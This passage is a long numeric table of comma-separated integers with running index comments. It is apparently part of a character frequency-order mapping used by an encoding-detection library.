9256,9257,4892,9258,9259,9260,9261,4893,4894,9262,9263,9264,9265,9266,9267,9268, # 9040 9269,9270,9271,9272,9273,4467,9274,9275,9276,9277,9278,9279,9280,9281,9282,9283, # 9056 9284,9285,3673,9286,9287,9288,9289,9290,9291,9292,9293,9294,9295,9296,9297,9298, # 9072 9299,9300,9301,9302,9303,9304,9305,9306,9307,9308,9309,9310,9311,9312,9313,9314, # 9088 9315,9316,9317,9318,9319,9320,9321,9322,4895,9323,9324,9325,9326,9327,9328,9329, # 9104 9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,9344,9345, # 9120 9346,9347,4468,9348,9349,9350,9351,9352,9353,9354,9355,9356,9357,9358,9359,9360, # 9136 9361,9362,9363,9364,9365,9366,9367,9368,9369,9370,9371,9372,9373,4896,9374,4469, # 9152 9375,9376,9377,9378,9379,4897,9380,9381,9382,9383,9384,9385,9386,9387,9388,9389, # 9168 9390,9391,9392,9393,9394,9395,9396,9397,9398,9399,9400,9401,9402,9403,9404,9405, # 9184 9406,4470,9407,2751,9408,9409,3674,3552,9410,9411,9412,9413,9414,9415,9416,9417, # 9200 9418,9419,9420,9421,4898,9422,9423,9424,9425,9426,9427,9428,9429,3959,9430,9431, # 9216 9432,9433,9434,9435,9436,4471,9437,9438,9439,9440,9441,9442,9443,9444,9445,9446, # 9232 9447,9448,9449,9450,3348,9451,9452,9453,9454,9455,9456,9457,9458,9459,9460,9461, # 9248 9462,9463,9464,9465,9466,9467,9468,9469,9470,9471,9472,4899,9473,9474,9475,9476, # 9264 9477,4900,9478,9479,9480,9481,9482,9483,9484,9485,9486,9487,9488,3349,9489,9490, # 9280 9491,9492,9493,9494,9495,9496,9497,9498,9499,9500,9501,9502,9503,9504,9505,9506, # 9296 9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517,9518,9519,9520,4901,9521, # 9312 9522,9523,9524,9525,9526,4902,9527,9528,9529,9530,9531,9532,9533,9534,9535,9536, # 9328 9537,9538,9539,9540,9541,9542,9543,9544,9545,9546,9547,9548,9549,9550,9551,9552, # 9344 9553,9554,9555,9556,9557,9558,9559,9560,9561,9562,9563,9564,9565,9566,9567,9568, # 9360 9569,9570,9571,9572,9573,9574,9575,9576,9577,9578,9579,9580,9581,9582,9583,9584, # 9376 3805,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599, # 9392 9600,9601,9602,4903,9603,9604,9605,9606,9607,4904,9608,9609,9610,9611,9612,9613, # 9408 9614,4905,9615,9616,9617,9618,9619,9620,9621,9622,9623,9624,9625,9626,9627,9628, # 9424 9629,9630,9631,9632,4906,9633,9634,9635,9636,9637,9638,9639,9640,9641,9642,9643, # 9440 4907,9644,9645,9646,9647,9648,9649,9650,9651,9652,9653,9654,9655,9656,9657,9658, # 9456 9659,9660,9661,9662,9663,9664,9665,9666,9667,9668,9669,9670,9671,9672,4183,9673, # 9472 9674,9675,9676,9677,4908,9678,9679,9680,9681,4909,9682,9683,9684,9685,9686,9687, # 9488 9688,9689,9690,4910,9691,9692,9693,3675,9694,9695,9696,2945,9697,9698,9699,9700, # 9504 9701,9702,9703,9704,9705,4911,9706,9707,9708,9709,9710,9711,9712,9713,9714,9715, # 9520 9716,9717,9718,9719,9720,9721,9722,9723,9724,9725,9726,9727,9728,9729,9730,9731, # 9536 9732,9733,9734,9735,4912,9736,9737,9738,9739,9740,4913,9741,9742,9743,9744,9745, # 9552 9746,9747,9748,9749,9750,9751,9752,9753,9754,9755,9756,9757,9758,4914,9759,9760, # 9568 9761,9762,9763,9764,9765,9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776, # 9584 9777,9778,9779,9780,9781,9782,4915,9783,9784,9785,9786,9787,9788,9789,9790,9791, # 9600 9792,9793,4916,9794,9795,9796,9797,9798,9799,9800,9801,9802,9803,9804,9805,9806, # 9616 9807,9808,9809,9810,9811,9812,9813,9814,9815,9816,9817,9818,9819,9820,9821,9822, # 9632 9823,9824,9825,9826,9827,9828,9829,9830,9831,9832,9833,9834,9835,9836,9837,9838, # 9648 9839,9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854, # 9664 9855,9856,9857,9858,9859,9860,9861,9862,9863,9864,9865,9866,9867,9868,4917,9869, # 9680 9870,9871,9872,9873,9874,9875,9876,9877,9878,9879,9880,9881,9882,9883,9884,9885, # 9696 9886,9887,9888,9889,9890,9891,9892,4472,9893,9894,9895,9896,9897,3806,9898,9899, # 9712 9900,9901,9902,9903,9904,9905,9906,9907,9908,9909,9910,9911,9912,9913,9914,4918, # 9728 9915,9916,9917,4919,9918,9919,9920,9921,4184,9922,9923,9924,9925,9926,9927,9928, # 9744 9929,9930,9931,9932,9933,9934,9935,9936,9937,9938,9939,9940,9941,9942,9943,9944, # 9760 9945,9946,4920,9947,9948,9949,9950,9951,9952,9953,9954,9955,4185,9956,9957,9958, # 9776 9959,9960,9961,9962,9963,9964,9965,4921,9966,9967,9968,4473,9969,9970,9971,9972, # 9792 9973,9974,9975,9976,9977,4474,9978,9979,9980,9981,9982,9983,9984,9985,9986,9987, # 9808 9988,9989,9990,9991,9992,9993,9994,9995,9996,9997,9998,9999,10000,10001,10002,10003, # 9824 10004,10005,10006,10007,10008,10009,10010,10011,10012,10013,10014,10015,10016,10017,10018,10019, # 9840 10020,10021,4922,10022,4923,10023,10024,10025,10026,10027,10028,10029,10030,10031,10032,10033, # 9856 10034,10035,10036,10037,10038,10039,10040,10041,10042,10043,10044,10045,10046,10047,10048,4924, # 9872 10049,10050,10051,10052,10053,10054,10055,10056,10057,10058,10059,10060,10061,10062,10063,10064, # 9888 10065,10066,10067,10068,10069,10070,10071,10072,10073,10074,10075,10076,10077,10078,10079,10080, # 9904 10081,10082,10083,10084,10085,10086,10087,4475,10088,10089,10090,10091,10092,10093,10094,10095, # 9920 10096,10097,4476,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110, # 9936 10111,2174,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125, # 9952 10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140,3807, # 9968 4186,4925,10141,10142,10143,10144,10145,10146,10147,4477,4187,10148,10149,10150,10151,10152, # 9984 10153,4188,10154,10155,10156,10157,10158,10159,10160,10161,4926,10162,10163,10164,10165,10166, #10000 10167,10168,10169,10170,10171,10172,10173,10174,10175,10176,10177,10178,10179,10180,10181,10182, #10016 10183,10184,10185,10186,10187,10188,10189,10190,10191,10192,3203,10193,10194,10195,10196,10197, #10032 10198,10199,10200,4478,10201,10202,10203,10204,4479,10205,10206,10207,10208,10209,10210,10211, #10048 10212,10213,10214,10215,10216,10217,10218,10219,10220,10221,10222,10223,10224,10225,10226,10227, #10064 10228,10229,10230,10231,10232,10233,10234,4927,10235,10236,10237,10238,10239,10240,10241,10242, #10080 10243,10244,10245,10246,10247,10248,10249,10250,10251,10252,10253,10254,10255,10256,10257,10258, #10096 10259,10260,10261,10262,10263,10264,10265,10266,10267,10268,10269,10270,10271,10272,10273,4480, #10112 4928,4929,10274,10275,10276,10277,10278,10279,10280,10281,10282,10283,10284,10285,10286,10287, #10128 10288,10289,10290,10291,10292,10293,10294,10295,10296,10297,10298,10299,10300,10301,10302,10303, #10144 10304,10305,10306,10307,10308,10309,10310,10311,10312,10313,10314,10315,10316,10317,10318,10319, #10160 10320,10321,10322,10323,10324,10325,10326,10327,10328,10329,10330,10331,10332,10333,10334,4930, #10176 10335,10336,10337,10338,10339,10340,10341,10342,4931,10343,10344,10345,10346,10347,10348,10349, #10192 10350,10351,10352,10353,10354,10355,3088,10356,2786,10357,10358,10359,10360,4189,10361,10362, #10208 10363,10364,10365,10366,10367,10368,10369,10370,10371,10372,10373,10374,10375,4932,10376,10377, #10224 10378,10379,10380,10381,10382,10383,10384,10385,10386,10387,10388,10389,10390,10391,10392,4933, #10240 10393,10394,10395,4934,10396,10397,10398,10399,10400,10401,10402,10403,10404,10405,10406,10407, #10256 10408,10409,10410,10411,10412,3446,10413,10414,10415,10416,10417,10418,10419,10420,10421,10422, #10272 10423,4935,10424,10425,10426,10427,10428,10429,10430,4936,10431,10432,10433,10434,10435,10436, #10288 10437,10438,10439,10440,10441,10442,10443,4937,10444,10445,10446,10447,4481,10448,10449,10450, #10304 10451,10452,10453,10454,10455,10456,10457,10458,10459,10460,10461,10462,10463,10464,10465,10466, #10320 10467,10468,10469,10470,10471,10472,10473,10474,10475,10476,10477,10478,10479,10480,10481,10482, #10336 10483,10484,10485,10486,10487,10488,10489,10490,10491,10492,10493,10494,10495,10496,10497,10498, #10352 10499,10500,10501,10502,10503,10504,10505,4938,10506,10507,10508,10509,10510,2552,10511,10512, #10368 10513,10514,10515,10516,3447,10517,10518,10519,10520,10521,10522,10523,10524,10525,10526,10527, #10384 10528,10529,10530,10531,10532,10533,10534,10535,10536,10537,10538,10539,10540,10541,10542,10543, #10400 4482,10544,4939,10545,10546,10547,10548,10549,10550,10551,10552,10553,10554,10555,10556,10557, #10416 10558,10559,10560,10561,10562,10563,10564,10565,10566,10567,3676,4483,10568,10569,10570,10571, #10432 10572,3448,10573,10574,10575,10576,10577,10578,10579,10580,10581,10582,10583,10584,10585,10586, #10448 10587,10588,10589,10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600,10601,10602, #10464 10603,10604,10605,10606,10607,10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618, #10480 10619,10620,10621,10622,10623,10624,10625,10626,10627,4484,10628,10629,10630,10631,10632,4940, #10496 10633,10634,10635,10636,10637,10638,10639,10640,10641,10642,10643,10644,10645,10646,10647,10648, #10512 10649,10650,10651,10652,10653,10654,10655,10656,4941,10657,10658,10659,2599,10660,10661,10662, #10528 10663,10664,10665,10666,3089,10667,10668,10669,10670,10671,10672,10673,10674,10675,10676,10677, #10544 10678,10679,10680,4942,10681,10682,10683,10684,10685,10686,10687,10688,10689,10690,10691,10692, #10560 10693,10694,10695,10696,10697,4485,10698,10699,10700,10701,10702,10703,10704,4943,10705,3677, #10576 10706,10707,10708,10709,10710,10711,10712,4944,10713,10714,10715,10716,10717,10718,10719,10720, #10592 10721,10722,10723,10724,10725,10726,10727,10728,4945,10729,10730,10731,10732,10733,10734,10735, #10608 10736,10737,10738,10739,10740,10741,10742,10743,10744,10745,10746,10747,10748,10749,10750,10751, #10624 10752,10753,10754,10755,10756,10757,10758,10759,10760,10761,4946,10762,10763,10764,10765,10766, #10640 10767,4947,4948,10768,10769,10770,10771,10772,10773,10774,10775,10776,10777,10778,10779,10780, #10656 10781,10782,10783,10784,10785,10786,10787,10788,10789,10790,10791,10792,10793,10794,10795,10796, #10672 10797,10798,10799,10800,10801,10802,10803,10804,10805,10806,10807,10808,10809,10810,10811,10812, #10688 10813,10814,10815,10816,10817,10818,10819,10820,10821,10822,10823,10824,10825,10826,10827,10828, #10704 10829,10830,10831,10832,10833,10834,10835,10836,10837,10838,10839,10840,10841,10842,10843,10844, #10720 10845,10846,10847,10848,10849,10850,10851,10852,10853,10854,10855,10856,10857,10858,10859,10860, #10736 10861,10862,10863,10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876, #10752 10877,10878,4486,10879,10880,10881,10882,10883,10884,10885,4949,10886,10887,10888,10889,10890, #10768 10891,10892,10893,10894,10895,10896,10897,10898,10899,10900,10901,10902,10903,10904,10905,10906, #10784 10907,10908,10909,10910,10911,10912,10913,10914,10915,10916,10917,10918,10919,4487,10920,10921, #10800 10922,10923,10924,10925,10926,10927,10928,10929,10930,10931,10932,4950,10933,10934,10935,10936, #10816 10937,10938,10939,10940,10941,10942,10943,10944,10945,10946,10947,10948,10949,4488,10950,10951, #10832 10952,10953,10954,10955,10956,10957,10958,10959,4190,10960,10961,10962,10963,10964,10965,10966, #10848 10967,10968,10969,10970,10971,10972,10973,10974,10975,10976,10977,10978,10979,10980,10981,10982, #10864 10983,10984,10985,10986,10987,10988,10989,10990,10991,10992,10993,10994,10995,10996,10997,10998, #10880 10999,11000,11001,11002,11003,11004,11005,11006,3960,11007,11008,11009,11010,11011,11012,11013, #10896 11014,11015,11016,11017,11018,11019,11020,11021,11022,11023,11024,11025,11026,11027,11028,11029, #10912 11030,11031,11032,4951,11033,11034,11035,11036,11037,11038,11039,11040,11041,11042,11043,11044, #10928 11045,11046,11047,4489,11048,11049,11050,11051,4952,11052,11053,11054,11055,11056,11057,11058, #10944 4953,11059,11060,11061,11062,11063,11064,11065,11066,11067,11068,11069,11070,11071,4954,11072, #10960 11073,11074,11075,11076,11077,11078,11079,11080,11081,11082,11083,11084,11085,11086,11087,11088, #10976 11089,11090,11091,11092,11093,11094,11095,11096,11097,11098,11099,11100,11101,11102,11103,11104, #10992 11105,11106,11107,11108,11109,11110,11111,11112,11113,11114,11115,3808,11116,11117,11118,11119, #11008 11120,11121,11122,11123,11124,11125,11126,11127,11128,11129,11130,11131,11132,11133,11134,4955, #11024 11135,11136,11137,11138,11139,11140,11141,11142,11143,11144,11145,11146,11147,11148,11149,11150, #11040 11151,11152,11153,11154,11155,11156,11157,11158,11159,11160,11161,4956,11162,11163,11164,11165, #11056 11166,11167,11168,11169,11170,11171,11172,11173,11174,11175,11176,11177,11178,11179,11180,4957, #11072 11181,11182,11183,11184,11185,11186,4958,11187,11188,11189,11190,11191,11192,11193,11194,11195, #11088 11196,11197,11198,11199,11200,3678,11201,11202,11203,11204,11205,11206,4191,11207,11208,11209, #11104 11210,11211,11212,11213,11214,11215,11216,11217,11218,11219,11220,11221,11222,11223,11224,11225, #11120 11226,11227,11228,11229,11230,11231,11232,11233,11234,11235,11236,11237,11238,11239,11240,11241, #11136 11242,11243,11244,11245,11246,11247,11248,11249,11250,11251,4959,11252,11253,11254,11255,11256, #11152 11257,11258,11259,11260,11261,11262,11263,11264,11265,11266,11267,11268,11269,11270,11271,11272, #11168 11273,11274,11275,11276,11277,11278,11279,11280,11281,11282,11283,11284,11285,11286,11287,11288, #11184 11289,11290,11291,11292,11293,11294,11295,11296,11297,11298,11299,11300,11301,11302,11303,11304, #11200 11305,11306,11307,11308,11309,11310,11311,11312,11313,11314,3679,11315,11316,11317,11318,4490, #11216 11319,11320,11321,11322,11323,11324,11325,11326,11327,11328,11329,11330,11331,11332,11333,11334, #11232 11335,11336,11337,11338,11339,11340,11341,11342,11343,11344,11345,11346,11347,4960,11348,11349, #11248 11350,11351,11352,11353,11354,11355,11356,11357,11358,11359,11360,11361,11362,11363,11364,11365, #11264 11366,11367,11368,11369,11370,11371,11372,11373,11374,11375,11376,11377,3961,4961,11378,11379, #11280 11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,11392,11393,11394,11395, #11296 11396,11397,4192,11398,11399,11400,11401,11402,11403,11404,11405,11406,11407,11408,11409,11410, #11312 11411,4962,11412,11413,11414,11415,11416,11417,11418,11419,11420,11421,11422,11423,11424,11425, #11328 11426,11427,11428,11429,11430,11431,11432,11433,11434,11435,11436,11437,11438,11439,11440,11441, #11344 11442,11443,11444,11445,11446,11447,11448,11449,11450,11451,11452,11453,11454,11455,11456,11457, #11360 11458,11459,11460,11461,11462,11463,11464,11465,11466,11467,11468,11469,4963,11470,11471,4491, #11376 11472,11473,11474,11475,4964,11476,11477,11478,11479,11480,11481,11482,11483,11484,11485,11486, #11392 11487,11488,11489,11490,11491,11492,4965,11493,11494,11495,11496,11497,11498,11499,11500,11501, #11408 11502,11503,11504,11505,11506,11507,11508,11509,11510,11511,11512,11513,11514,11515,11516,11517, #11424 11518,11519,11520,11521,11522,11523,11524,11525,11526,11527,11528,11529,3962,11530,11531,11532, #11440 11533,11534,11535,11536,11537,11538,11539,11540,11541,11542,11543,11544,11545,11546,11547,11548, #11456 11549,11550,11551,11552,11553,11554,11555,11556,11557,11558,11559,11560,11561,11562,11563,11564, #11472 4193,4194,11565,11566,11567,11568,11569,11570,11571,11572,11573,11574,11575,11576,11577,11578, #11488 11579,11580,11581,11582,11583,11584,11585,11586,11587,11588,11589,11590,11591,4966,4195,11592, #11504 11593,11594,11595,11596,11597,11598,11599,11600,11601,11602,11603,11604,3090,11605,11606,11607, #11520 11608,11609,11610,4967,11611,11612,11613,11614,11615,11616,11617,11618,11619,11620,11621,11622, #11536 11623,11624,11625,11626,11627,11628,11629,11630,11631,11632,11633,11634,11635,11636,11637,11638, #11552 11639,11640,11641,11642,11643,11644,11645,11646,11647,11648,11649,11650,11651,11652,11653,11654, #11568 11655,11656,11657,11658,11659,11660,11661,11662,11663,11664,11665,11666,11667,11668,11669,11670, #11584 11671,11672,11673,11674,4968,11675,11676,11677,11678,11679,11680,11681,11682,11683,11684,11685, #11600 11686,11687,11688,11689,11690,11691,11692,11693,3809,11694,11695,11696,11697,11698,11699,11700, #11616 11701,11702,11703,11704,11705,11706,11707,11708,11709,11710,11711,11712,11713,11714,11715,11716, #11632 11717,11718,3553,11719,11720,11721,11722,11723,11724,11725,11726,11727,11728,11729,11730,4969, #11648 11731,11732,11733,11734,11735,11736,11737,11738,11739,11740,4492,11741,11742,11743,11744,11745, #11664 11746,11747,11748,11749,11750,11751,11752,4970,11753,11754,11755,11756,11757,11758,11759,11760, #11680 11761,11762,11763,11764,11765,11766,11767,11768,11769,11770,11771,11772,11773,11774,11775,11776, #11696 11777,11778,11779,11780,11781,11782,11783,11784,11785,11786,11787,11788,11789,11790,4971,11791, #11712 11792,11793,11794,11795,11796,11797,4972,11798,11799,11800,11801,11802,11803,11804,11805,11806, #11728 11807,11808,11809,11810,4973,11811,11812,11813,11814,11815,11816,11817,11818,11819,11820,11821, #11744 11822,11823,11824,11825,11826,11827,11828,11829,11830,11831,11832,11833,11834,3680,3810,11835, #11760 11836,4974,11837,11838,11839,11840,11841,11842,11843,11844,11845,11846,11847,11848,11849,11850, #11776 11851,11852,11853,11854,11855,11856,11857,11858,11859,11860,11861,11862,11863,11864,11865,11866, #11792 11867,11868,11869,11870,11871,11872,11873,11874,11875,11876,11877,11878,11879,11880,11881,11882, #11808 11883,11884,4493,11885,11886,11887,11888,11889,11890,11891,11892,11893,11894,11895,11896,11897, #11824 11898,11899,11900,11901,11902,11903,11904,11905,11906,11907,11908,11909,11910,11911,11912,11913, #11840 11914,11915,4975,11916,11917,11918,11919,11920,11921,11922,11923,11924,11925,11926,11927,11928, #11856 11929,11930,11931,11932,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11943,11944, #11872 11945,11946,11947,11948,11949,4976,11950,11951,11952,11953,11954,11955,11956,11957,11958,11959, #11888 11960,11961,11962,11963,11964,11965,11966,11967,11968,11969,11970,11971,11972,11973,11974,11975, #11904 11976,11977,11978,11979,11980,11981,11982,11983,11984,11985,11986,11987,4196,11988,11989,11990, #11920 11991,11992,4977,11993,11994,11995,11996,11997,11998,11999,12000,12001,12002,12003,12004,12005, #11936 12006,12007,12008,12009,12010,12011,12012,12013,12014,12015,12016,12017,12018,12019,12020,12021, #11952 12022,12023,12024,12025,12026,12027,12028,12029,12030,12031,12032,12033,12034,12035,12036,12037, #11968 12038,12039,12040,12041,12042,12043,12044,12045,12046,12047,12048,12049,12050,12051,12052,12053, #11984 12054,12055,12056,12057,12058,12059,12060,12061,4978,12062,12063,12064,12065,12066,12067,12068, #12000 12069,12070,12071,12072,12073,12074,12075,12076,12077,12078,12079,12080,12081,12082,12083,12084, #12016 12085,12086,12087,12088,12089,12090,12091,12092,12093,12094,12095,12096,12097,12098,12099,12100, #12032 12101,12102,12103,12104,12105,12106,12107,12108,12109,12110,12111,12112,12113,12114,12115,12116, #12048 12117,12118,12119,12120,12121,12122,12123,4979,12124,12125,12126,12127,12128,4197,12129,12130, #12064 12131,12132,12133,12134,12135,12136,12137,12138,12139,12140,12141,12142,12143,12144,12145,12146, #12080 12147,12148,12149,12150,12151,12152,12153,12154,4980,12155,12156,12157,12158,12159,12160,4494, #12096 12161,12162,12163,12164,3811,12165,12166,12167,12168,12169,4495,12170,12171,4496,12172,12173, #12112 12174,12175,12176,3812,12177,12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188, #12128 12189,12190,12191,12192,12193,12194,12195,12196,12197,12198,12199,12200,12201,12202,12203,12204, #12144 12205,12206,12207,12208,12209,12210,12211,12212,12213,12214,12215,12216,12217,12218,12219,12220, #12160 12221,4981,12222,12223,12224,12225,12226,12227,12228,12229,12230,12231,12232,12233,12234,12235, #12176 4982,12236,12237,12238,12239,12240,12241,12242,12243,12244,12245,4983,12246,12247,12248,12249, #12192 4984,12250,12251,12252,12253,12254,12255,12256,12257,12258,12259,12260,12261,12262,12263,12264, #12208 4985,12265,4497,12266,12267,12268,12269,12270,12271,12272,12273,12274,12275,12276,12277,12278, #12224 12279,12280,12281,12282,12283,12284,12285,12286,12287,4986,12288,12289,12290,12291,12292,12293, #12240 12294,12295,12296,2473,12297,12298,12299,12300,12301,12302,12303,12304,12305,12306,12307,12308, #12256 12309,12310,12311,12312,12313,12314,12315,12316,12317,12318,12319,3963,12320,12321,12322,12323, #12272 12324,12325,12326,12327,12328,12329,12330,12331,12332,4987,12333,12334,12335,12336,12337,12338, #12288 12339,12340,12341,12342,12343,12344,12345,12346,12347,12348,12349,12350,12351,12352,12353,12354, #12304 12355,12356,12357,12358,12359,3964,12360,12361,12362,12363,12364,12365,12366,12367,12368,12369, #12320 12370,3965,12371,12372,12373,12374,12375,12376,12377,12378,12379,12380,12381,12382,12383,12384, #12336 12385,12386,12387,12388,12389,12390,12391,12392,12393,12394,12395,12396,12397,12398,12399,12400, #12352 12401,12402,12403,12404,12405,12406,12407,12408,4988,12409,12410,12411,12412,12413,12414,12415, #12368 12416,12417,12418,12419,12420,12421,12422,12423,12424,12425,12426,12427,12428,12429,12430,12431, #12384 12432,12433,12434,12435,12436,12437,12438,3554,12439,12440,12441,12442,12443,12444,12445,12446, #12400 12447,12448,12449,12450,12451,12452,12453,12454,12455,12456,12457,12458,12459,12460,12461,12462, #12416 12463,12464,4989,12465,12466,12467,12468,12469,12470,12471,12472,12473,12474,12475,12476,12477, #12432 12478,12479,12480,4990,12481,12482,12483,12484,12485,12486,12487,12488,12489,4498,12490,12491, #12448 12492,12493,12494,12495,12496,12497,12498,12499,12500,12501,12502,12503,12504,12505,12506,12507, #12464 12508,12509,12510,12511,12512,12513,12514,12515,12516,12517,12518,12519,12520,12521,12522,12523, #12480 12524,12525,12526,12527,12528,12529,12530,12531,12532,12533,12534,12535,12536,12537,12538,12539, #12496 12540,12541,12542,12543,12544,12545,12546,12547,12548,12549,12550,12551,4991,12552,12553,12554, #12512 12555,12556,12557,12558,12559,12560,12561,12562,12563,12564,12565,12566,12567,12568,12569,12570, #12528 12571,12572,12573,12574,12575,12576,12577,12578,3036,12579,12580,12581,12582,12583,3966,12584, #12544 12585,12586,12587,12588,12589,12590,12591,12592,12593,12594,12595,12596,12597,12598,12599,12600, #12560 12601,12602,12603,12604,12605,12606,12607,12608,12609,12610,12611,12612,12613,12614,12615,12616, #12576 12617,12618,12619,12620,12621,12622,12623,12624,12625,12626,12627,12628,12629,12630,12631,12632, #12592 12633,12634,12635,12636,12637,12638,12639,12640,12641,12642,12643,12644,12645,12646,4499,12647, #12608 12648,12649,12650,12651,12652,12653,12654,12655,12656,12657,12658,12659,12660,12661,12662,12663, #12624 12664,12665,12666,12667,12668,12669,12670,12671,12672,12673,12674,12675,12676,12677,12678,12679, #12640 12680,12681,12682,12683,12684,12685,12686,12687,12688,12689,12690,12691,12692,12693,12694,12695, #12656 12696,12697,12698,4992,12699,12700,12701,12702,12703,12704,12705,12706,12707,12708,12709,12710, #12672 12711,12712,12713,12714,12715,12716,12717,12718,12719,12720,12721,12722,12723,12724,12725,12726, #12688 12727,12728,12729,12730,12731,12732,12733,12734,12735,12736,12737,12738,12739,12740,12741,12742, #12704 12743,12744,12745,12746,12747,12748,12749,12750,12751,12752,12753,12754,12755,12756,12757,12758, #12720 12759,12760,12761,12762,12763,12764,12765,12766,12767,12768,12769,12770,12771,12772,12773,12774, #12736 12775,12776,12777,12778,4993,2175,12779,12780,12781,12782,12783,12784,12785,12786,4500,12787, #12752 12788,12789,12790,12791,12792,12793,12794,12795,12796,12797,12798,12799,12800,12801,12802,12803, #12768 12804,12805,12806,12807,12808,12809,12810,12811,12812,12813,12814,12815,12816,12817,12818,12819, #12784 12820,12821,12822,12823,12824,12825,12826,4198,3967,12827,12828,12829,12830,12831,12832,12833, #12800 12834,12835,12836,12837,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847,12848,12849, #12816 12850,12851,12852,12853,12854,12855,12856,12857,12858,12859,12860,12861,4199,12862,12863,12864, #12832 12865,12866,12867,12868,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878,12879,12880, #12848 12881,12882,12883,12884,12885,12886,12887,4501,12888,12889,12890,12891,12892,12893,12894,12895, #12864 12896,12897,12898,12899,12900,12901,12902,12903,12904,12905,12906,12907,12908,12909,12910,12911, #12880 12912,4994,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926, #12896 12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942, #12912 12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,1772,12957, #12928 12958,12959,12960,12961,12962,12963,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973, #12944 12974,12975,12976,12977,12978,12979,12980,12981,12982,12983,12984,12985,12986,12987,12988,12989, #12960 12990,12991,12992,12993,12994,12995,12996,12997,4502,12998,4503,12999,13000,13001,13002,13003, #12976 4504,13004,13005,13006,13007,13008,13009,13010,13011,13012,13013,13014,13015,13016,13017,13018, #12992 13019,13020,13021,13022,13023,13024,13025,13026,13027,13028,13029,3449,13030,13031,13032,13033, #13008 13034,13035,13036,13037,13038,13039,13040,13041,13042,13043,13044,13045,13046,13047,13048,13049, #13024 13050,13051,13052,13053,13054,13055,13056,13057,13058,13059,13060,13061,13062,13063,13064,13065, #13040 13066,13067,13068,13069,13070,13071,13072,13073,13074,13075,13076,13077,13078,13079,13080,13081, #13056 13082,13083,13084,13085,13086,13087,13088,13089,13090,13091,13092,13093,13094,13095,13096,13097, #13072 13098,13099,13100,13101,13102,13103,13104,13105,13106,13107,13108,13109,13110,13111,13112,13113, #13088 13114,13115,13116,13117,13118,3968,13119,4995,13120,13121,13122,13123,13124,13125,13126,13127, #13104 4505,13128,13129,13130,13131,13132,13133,13134,4996,4506,13135,13136,13137,13138,13139,4997, #13120 13140,13141,13142,13143,13144,13145,13146,13147,13148,13149,13150,13151,13152,13153,13154,13155, #13136 13156,13157,13158,13159,4998,13160,13161,13162,13163,13164,13165,13166,13167,13168,13169,13170, #13152 13171,13172,13173,13174,13175,13176,4999,13177,13178,13179,13180,13181,13182,13183,13184,13185, #13168 13186,13187,13188,13189,13190,13191,13192,13193,13194,13195,13196,13197,13198,13199,13200,13201, #13184 13202,13203,13204,13205,13206,5000,13207,13208,13209,13210,13211,13212,13213,13214,13215,13216, #13200 13217,13218,13219,13220,13221,13222,13223,13224,13225,13226,13227,4200,5001,13228,13229,13230, #13216 13231,13232,13233,13234,13235,13236,13237,13238,13239,13240,3969,13241,13242,13243,13244,3970, #13232 13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260, #13248 13261,13262,13263,13264,13265,13266,13267,13268,3450,13269,13270,13271,13272,13273,13274,13275, #13264 13276,5002,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290, #13280 13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,3813,13303,13304,13305, #13296 13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321, #13312 13322,13323,13324,13325,13326,13327,13328,4507,13329,13330,13331,13332,13333,13334,13335,13336, #13328 13337,13338,13339,13340,13341,5003,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351, #13344 13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367, #13360 5004,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382, #13376 13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398, #13392 13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414, #13408 13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430, #13424 13431,13432,4508,13433,13434,13435,4201,13436,13437,13438,13439,13440,13441,13442,13443,13444, #13440 13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,5005,13458,13459, #13456 13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,4509,13471,13472,13473,13474, #13472 13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490, #13488 13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506, #13504 13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522, #13520 13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538, #13536 13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554, #13552 13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570, #13568 13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586, #13584 13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602, #13600 13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618, #13616 